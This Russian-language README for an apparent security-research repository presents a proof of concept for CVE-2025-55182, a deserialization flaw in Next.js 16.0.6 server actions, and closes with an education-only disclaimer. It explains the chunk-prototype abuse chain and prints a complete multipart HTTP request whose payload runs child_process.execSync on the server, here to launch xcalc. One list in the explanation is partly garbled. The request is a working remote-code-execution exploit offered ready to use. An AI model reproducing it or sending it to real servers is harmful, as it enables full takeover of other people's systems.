
Более ориентированный на эксплойты; отлично подходит для репозиториев по исследованию безопасности.
Этот репозиторий содержит рабочий proof-of-concept (POC) для CVE-2025-55182, критической уязвимости десериализации, затрагивающей Next.js 16.0.6.
Эксплойт использует десериализацию фрагментов $@ и Chunk.prototype.then для получения полного контроля над процессом разрешения фрагментов и достижения произвольного выполнения кода (RCE) на сервере.
Next.js использует внутренние объекты Chunk и механизм потоковой десериализации для серверных действий.
Злоупотребляя $@ для десериализации ссылки на Chunk и внедряя Chunk.prototype.then в корневой объект, атакующий может:
then(...) с , управляемым атакующимthisstatus фрагмента в resolved_modelinitializeModelChunk с поддельным фрагментом, полностью контролируемым атакующимchunk._response для доступа к опасному внутреннему поведениюКонечная цель — вызвать десериализацию Blob, которая выполняет вызов типа:
response._formData.get(response._prefix)
Установив response._formData.get = Function и поместив произвольный код в response._prefix, атакующий может выполнить произвольные системные команды.
HTTP-запрос в poc/CVE-2025-55182.http демонстрирует эксплойт против Next.js 16.0.6, запущенного локально, с запуском xcalc через child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Этот проект предоставлен исключительно в образовательных и исследовательских целях. НЕ используйте этот эксплойт в системе, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.